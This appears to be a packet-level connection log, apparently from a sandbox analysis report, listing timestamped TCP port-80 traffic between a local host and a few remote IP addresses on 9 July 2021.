Jul 9, 2021 03:08:40.566235065 CEST	49322	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.566237926 CEST	49321	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.566869974 CEST	49322	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.621026039 CEST	80	49322	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:40.632814884 CEST	80	49322	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:40.632936001 CEST	49322	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.854783058 CEST	49322	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.855698109 CEST	49323	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.907202959 CEST	80	49322	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:40.907469988 CEST	49322	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.907556057 CEST	80	49323	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:40.907679081 CEST	49323	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.908762932 CEST	49323	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.961488962 CEST	80	49323	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:40.979922056 CEST	80	49323	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:40.980056047 CEST	49323	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.200515032 CEST	49323	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.201637983 CEST	49324	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.253657103 CEST	80	49323	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:41.253781080 CEST	49323	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.255700111 CEST	80	49324	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:41.255835056 CEST	49324	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.256753922 CEST	49324	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.310157061 CEST	80	49324	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:41.324479103 CEST	80	49324	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:41.324598074 CEST	49324	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.537739992 CEST	49324	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.538625002 CEST	49325	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.591320992 CEST	80	49324	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:41.591490984 CEST	49324	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.591897011 CEST	80	49325	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:41.592015028 CEST	49325	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.593085051 CEST	49325	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.646883965 CEST	80	49325	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:41.660331011 CEST	80	49325	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:41.660403013 CEST	49325	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.884505987 CEST	49325	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.885910988 CEST	49326	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.938183069 CEST	80	49326	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:41.938258886 CEST	80	49325	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:41.938489914 CEST	49325	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.938736916 CEST	49326	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.939338923 CEST	49326	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:41.991502047 CEST	80	49326	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:42.007750988 CEST	80	49326	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:42.007844925 CEST	49326	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.223423004 CEST	49326	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.224428892 CEST	49327	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.275437117 CEST	80	49326	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:42.275512934 CEST	49326	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.277786970 CEST	80	49327	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:42.277890921 CEST	49327	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.278748035 CEST	49327	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.332176924 CEST	80	49327	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:42.346981049 CEST	80	49327	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:42.347079992 CEST	49327	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.570410967 CEST	49327	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.571378946 CEST	49328	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.626017094 CEST	80	49328	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:42.626041889 CEST	80	49327	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:42.626121998 CEST	49328	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.626128912 CEST	49327	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.626681089 CEST	49328	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.681106091 CEST	80	49328	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:42.693906069 CEST	80	49328	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:42.694113970 CEST	49328	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.910995960 CEST	49328	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.912139893 CEST	49329	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.963290930 CEST	80	49328	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:42.963500023 CEST	49328	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.964071989 CEST	80	49329	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:42.964196920 CEST	49329	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:42.965754032 CEST	49329	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.018682003 CEST	80	49329	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:43.031738043 CEST	80	49329	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:43.031836033 CEST	49329	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.261523962 CEST	49329	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.263221979 CEST	49330	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.314429045 CEST	80	49329	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:43.314519882 CEST	49329	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.316952944 CEST	80	49330	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:43.317121029 CEST	49330	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.318186045 CEST	49330	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.371553898 CEST	80	49330	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:43.385746002 CEST	80	49330	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:43.386231899 CEST	49330	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.564306021 CEST	80	49168	50.19.92.227	192.168.2.22
Jul 9, 2021 03:08:43.565119028 CEST	49168	80	192.168.2.22	50.19.92.227
Jul 9, 2021 03:08:43.613353968 CEST	49330	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.614268064 CEST	49331	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.666799068 CEST	80	49331	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:43.666822910 CEST	80	49330	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:43.667018890 CEST	49330	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.667956114 CEST	49331	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.668005943 CEST	49331	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.721856117 CEST	80	49331	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:43.736258984 CEST	80	49331	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:43.736671925 CEST	49331	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.957986116 CEST	49331	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:43.959294081 CEST	49332	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.011725903 CEST	80	49331	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:44.011874914 CEST	49331	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.013753891 CEST	80	49332	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:44.014041901 CEST	49332	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.015196085 CEST	49332	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.068746090 CEST	80	49332	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:44.084758043 CEST	80	49332	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:44.084938049 CEST	49332	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.306453943 CEST	49332	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.307529926 CEST	49333	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.360183954 CEST	80	49332	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:44.360276937 CEST	49332	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.361136913 CEST	80	49333	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:44.361226082 CEST	49333	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.361738920 CEST	49333	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.416089058 CEST	80	49333	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:44.431710958 CEST	80	49333	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:44.431828976 CEST	49333	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.663317919 CEST	49333	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.665101051 CEST	49334	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.718101978 CEST	80	49333	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:44.718187094 CEST	49333	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.719193935 CEST	80	49334	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:44.719424963 CEST	49334	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.720029116 CEST	49334	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:44.774811029 CEST	80	49334	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:44.787031889 CEST	80	49334	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:44.787111044 CEST	49334	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.009722948 CEST	49334	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.011303902 CEST	49335	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.063167095 CEST	80	49334	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:45.063396931 CEST	49334	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.065026999 CEST	80	49335	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:45.065282106 CEST	49335	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.066266060 CEST	49335	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.120285034 CEST	80	49335	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:45.133434057 CEST	80	49335	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:45.133567095 CEST	49335	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.364101887 CEST	49335	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.365276098 CEST	49336	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.418910980 CEST	80	49336	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:45.418953896 CEST	80	49335	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:45.419039011 CEST	49335	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.419055939 CEST	49336	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.420052052 CEST	49336	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.473833084 CEST	80	49336	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:45.489422083 CEST	80	49336	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:45.489598989 CEST	49336	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.704746008 CEST	49336	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.706155062 CEST	49337	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.757832050 CEST	80	49336	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:45.758004904 CEST	49336	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.760696888 CEST	80	49337	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:45.760860920 CEST	49337	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.761843920 CEST	49337	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:45.814038038 CEST	80	49337	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:45.827435970 CEST	80	49337	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:45.827578068 CEST	49337	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.046356916 CEST	49337	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.047259092 CEST	49338	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.099818945 CEST	80	49337	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:46.099961996 CEST	49337	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.101972103 CEST	80	49338	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:46.102092028 CEST	49338	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.103126049 CEST	49338	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.156486988 CEST	80	49338	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:46.170032024 CEST	80	49338	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:46.170197964 CEST	49338	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.392998934 CEST	49338	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.394409895 CEST	49339	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.447227001 CEST	80	49338	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:46.447351933 CEST	49338	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.447926044 CEST	80	49339	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:46.448065996 CEST	49339	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.449706078 CEST	49339	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.503031969 CEST	80	49339	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:46.516992092 CEST	80	49339	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:46.517082930 CEST	49339	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.741744995 CEST	49340	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.741770029 CEST	49339	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.793876886 CEST	80	49340	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:46.794029951 CEST	49340	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.795248032 CEST	49340	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.795340061 CEST	80	49339	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:46.795420885 CEST	49339	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:46.849359989 CEST	80	49340	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:46.862490892 CEST	80	49340	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:46.862684011 CEST	49340	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.076256990 CEST	49340	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.077207088 CEST	49341	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.128520012 CEST	80	49340	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:47.128601074 CEST	49340	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.129358053 CEST	80	49341	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:47.129434109 CEST	49341	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.130119085 CEST	49341	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.182066917 CEST	80	49341	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:47.195389032 CEST	80	49341	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:47.195545912 CEST	49341	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.425291061 CEST	49341	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.426487923 CEST	49342	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.477621078 CEST	80	49341	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:47.477695942 CEST	49341	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.482342958 CEST	80	49342	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:47.482484102 CEST	49342	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.483589888 CEST	49342	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.536775112 CEST	80	49342	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:47.550775051 CEST	80	49342	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:47.550874949 CEST	49342	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.786423922 CEST	49342	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.788626909 CEST	49343	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.839843988 CEST	80	49342	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:47.840051889 CEST	49342	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.840614080 CEST	80	49343	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:47.840708017 CEST	49343	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.841711044 CEST	49343	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:47.893780947 CEST	80	49343	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:47.906724930 CEST	80	49343	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:47.906896114 CEST	49343	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.102705002 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:08:48.102921963 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:08:48.122983932 CEST	49343	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.123977900 CEST	49344	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.175206900 CEST	80	49343	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:48.175359964 CEST	49343	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.177768946 CEST	80	49344	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:48.177887917 CEST	49344	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.178498983 CEST	49344	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.234057903 CEST	80	49344	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:48.247699022 CEST	80	49344	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:48.247930050 CEST	49344	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.465137959 CEST	49344	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.466253996 CEST	49345	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.518858910 CEST	80	49344	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:48.519028902 CEST	49344	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.519162893 CEST	80	49345	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:48.519260883 CEST	49345	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.519948006 CEST	49345	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.577080011 CEST	80	49345	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:48.590415001 CEST	80	49345	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:48.590527058 CEST	49345	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.817137003 CEST	49345	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.818536997 CEST	49346	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.870518923 CEST	80	49345	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:48.870584965 CEST	80	49346	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:48.870682955 CEST	49345	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.870696068 CEST	49346	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.871666908 CEST	49346	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:48.923571110 CEST	80	49346	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:48.938519001 CEST	80	49346	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:48.938605070 CEST	49346	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.153554916 CEST	49346	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.154546022 CEST	49347	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.208781004 CEST	80	49346	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:49.208861113 CEST	49346	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.209676981 CEST	80	49347	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:49.209738970 CEST	49347	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.210249901 CEST	49347	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.265403986 CEST	80	49347	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:49.279176950 CEST	80	49347	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:49.279356956 CEST	49347	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.571928024 CEST	49347	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.573357105 CEST	49348	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.626538038 CEST	80	49347	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:49.626610994 CEST	49347	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.629839897 CEST	80	49348	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:49.629908085 CEST	49348	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.631084919 CEST	49348	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.685467005 CEST	80	49348	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:49.699392080 CEST	80	49348	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:49.699511051 CEST	49348	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.918210983 CEST	49348	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.919464111 CEST	49349	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.975770950 CEST	80	49348	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:49.975872040 CEST	49348	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.977034092 CEST	80	49349	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:49.977109909 CEST	49349	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:49.977802992 CEST	49349	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:50.035804033 CEST	80	49349	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:50.049772978 CEST	80	49349	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:50.049844027 CEST	49349	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:50.277859926 CEST	49349	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:50.280426025 CEST	49350	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:50.332837105 CEST	80	49349	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:50.332887888 CEST	80	49350	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:50.333014965 CEST	49349	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:50.333038092 CEST	49350	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:50.794255018 CEST	49350	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:50.846987963 CEST	80	49350	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:50.863698959 CEST	80	49350	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:50.863812923 CEST	49350	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:51.092132092 CEST	49350	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:51.096033096 CEST	49351	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:51.145848989 CEST	80	49350	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:51.146023989 CEST	49350	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:51.151145935 CEST	80	49351	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:51.151277065 CEST	49351	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:51.152448893 CEST	49351	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:51.210180998 CEST	80	49351	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:51.223366022 CEST	80	49351	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:51.223541975 CEST	49351	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:51.797029018 CEST	49351	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:51.798566103 CEST	49352	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:51.850632906 CEST	80	49351	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:51.850665092 CEST	80	49352	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:51.850717068 CEST	49351	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:51.850769997 CEST	49352	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:51.851660967 CEST	49352	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:51.903918982 CEST	80	49352	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:51.917967081 CEST	80	49352	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:51.918042898 CEST	49352	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.133147001 CEST	49352	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.134677887 CEST	49353	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.188152075 CEST	80	49352	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:52.188236952 CEST	49352	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.189153910 CEST	80	49353	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:52.189274073 CEST	49353	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.190005064 CEST	49353	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.243107080 CEST	80	49353	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:52.258213997 CEST	80	49353	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:52.258356094 CEST	49353	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.483366966 CEST	49353	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.484616041 CEST	49354	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.538552046 CEST	80	49353	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:52.538671017 CEST	49353	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.541047096 CEST	80	49354	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:52.541182995 CEST	49354	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.541820049 CEST	49354	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.599422932 CEST	80	49354	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:52.613114119 CEST	80	49354	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:52.613271952 CEST	49354	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.848141909 CEST	49354	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.849572897 CEST	49355	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:52.904264927 CEST	80	49354	77.222.42.67	192.168.2.22
